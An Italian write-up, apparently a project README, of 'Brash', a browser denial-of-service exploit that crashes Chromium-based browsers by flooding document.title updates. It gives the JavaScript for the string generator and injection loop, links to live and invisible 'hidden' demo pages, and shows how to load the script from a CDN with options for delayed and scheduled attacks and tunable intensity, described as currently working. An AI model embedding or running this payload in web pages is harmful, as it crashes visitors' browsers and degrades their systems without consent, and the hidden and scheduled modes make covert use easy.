
Attacco DoS al Browser Chromium tramite sfruttamento di document.title

Brash è una vulnerabilità critica in Blink, il motore di rendering che alimenta i browser basati su Chromium di Google. Consente a qualsiasi browser Chromium di collassare in 15-60 secondi sfruttando un difetto architetturale nel modo in cui vengono gestite alcune operazioni DOM.
Il vettore d'attacco nasce dalla completa assenza di rate limiting sugli aggiornamenti dell'API document.title. Ciò consente di iniettare milioni di mutazioni DOM al secondo e, durante questo tentativo di iniezione, satura il thread principale, interrompendo l'event loop e causando il collasso dell'interfaccia. L'impatto è significativo: consuma elevate risorse CPU, degrada le prestazioni complessive del sistema e può bloccare o rallentare altri processi eseguiti contemporaneamente. Colpendo i browser Chromium su desktop, Android e ambienti embedded, questa vulnerabilità espone oltre 3 miliardi di persone su internet a un denial of service a livello di sistema.
STATO: Operativa
VERSIONI COLPITE: Chromium ≤ 143.0.7483.0 (testate: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] L'exploit è attualmente operativo. Una volta corretta la vulnerabilità, questo codice smetterà di funzionare. In ogni caso, scoprire questo difetto architetturale e completare l'intero percorso di ricerca, documentazione e progettazione per condividere qualcosa di impattante con il mondo è stato un viaggio incredibilmente gratificante.
Sono stati testati 11 browser principali su macOS, Windows e Linux per validare l'impatto della vulnerabilità.
Tutti i browser basati su Chromium sono vulnerabili perché il difetto risiede nel cuore del motore di rendering Blink:
Brash sfrutta un difetto architetturale fondamentale nel motore di rendering Blink: l'assenza di throttling sugli aggiornamenti di document.title. L'attacco opera in tre fasi critiche:
Genera 100 stringhe esadecimali uniche di 512 caratteri e le memorizza in memoria prima di iniziare l'attacco.
Perché pre-caricarle invece di generarli in tempo reale?
Perché generare costantemente nuove stringhe consuma tempo CPU in operazioni matematiche. Quel tempo è critico: ogni millisecondo speso per generare stringhe è tempo NON usato per bombardare il browser con aggiornamenti di document.title.
Avendo 100 stringhe già caricate in memoria:
Di conseguenza, otteniamo la massima velocità di iniezione con il massimo consumo di memoria per aggiornamento.
// Generates high-entropy unique IDs
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
Esegue raffiche configurabili di aggiornamenti del titolo. Con la configurazione predefinita (burst: 8000, interval: 1ms), tenta di iniettare circa 24 milioni di aggiornamenti al secondo, ed è durante questo tentativo che inizia il collasso del browser.
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Each burst performs 3 sequential updates
}
this.counter += 0x3;
}
Gli aggiornamenti continui saturano il thread principale del browser, impedendo l'elaborazione di altri eventi:
Sequenza temporale del collasso:
Perché funziona?
Blink elabora ogni modifica di document.title in modo sincrono sul thread principale senza rate limiting. Questo crea un collo di bottiglia che:
Per comprendere appieno l'impatto di Brash, puoi sperimentare l'exploit in diversi contesti, da una demo live controllata alla tua implementazione personale. Ogni opzione è progettata per diversi livelli di interazione e comprensione tecnica.
Il modo più rapido per vedere Brash in azione. Visita https://brash.run
Per vedere l'exploit senza interfaccia grafica, visita https://brash.run/hidden-live-demo.html. Questa versione esegue l'iniezione in modo invisibile, simulando un attacco reale.
Se preferisci eseguire la demo nel tuo ambiente, la directory exploit-demo/ inclusa nel repository ti consente di:
Basta aprire exploit-demo/index.html in un qualsiasi browser Chromium e configurare i valori burst e interval prima di iniziare.
Per integrare Brash nei tuoi test di sicurezza o nella tua ricerca, includi lo script e configura l'attacco:
Includi lo script:
<!-- Local -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
Utilizzo dell'API:
// 1. Immediate attack
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Delay in seconds (default)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 seconds
});
// 3. Delay with strings
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // or "5000ms" or "3m"
});
// 4. Scheduled attack
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
Configurazioni di intensità:
// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({
burstSize: 200,
interval: 1000 // ~600 updates/sec
});